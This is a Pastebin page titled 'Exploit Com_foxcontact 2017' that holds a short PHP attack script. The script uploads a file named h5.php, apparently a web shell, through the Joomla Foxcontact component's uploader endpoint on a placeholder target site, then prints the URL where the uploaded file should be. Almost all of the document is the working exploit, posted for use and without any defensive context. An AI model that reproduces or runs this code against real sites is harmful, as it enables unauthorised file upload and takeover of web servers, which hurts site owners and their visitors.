zepek_al

Exploit Com_foxcontact 2017

Nov 3rd, 2017
271
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.52 KB | None | 0 0
  1. <?php
  2. # *** Zepek_al ***
  3. $uploadfile="h5.php";
  4. $urlq = "http://site.com.br";
  5. $ch = curl_init("$urlq/index.php?option=com_foxcontact&view=loader&type=uploader&owner=module&id=107");
  6. curl_setopt($ch, CURLOPT_POST, true);
  7. curl_setopt($ch, CURLOPT_POSTFIELDS,
  8. array('qqfile'=>"@$uploadfile"));
  9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  10. $postResult = curl_exec($ch);
  11. curl_close($ch);
  12. print "$postResult";
  13. $luv = uniqid() . "_" . $filename;
  14. echo "Sucesso : $urlq/components/com_foxcontact/uploads/$luv$uploadfile";
  15. ?>
Advertisement
Add Comment
Please, Sign In to add comment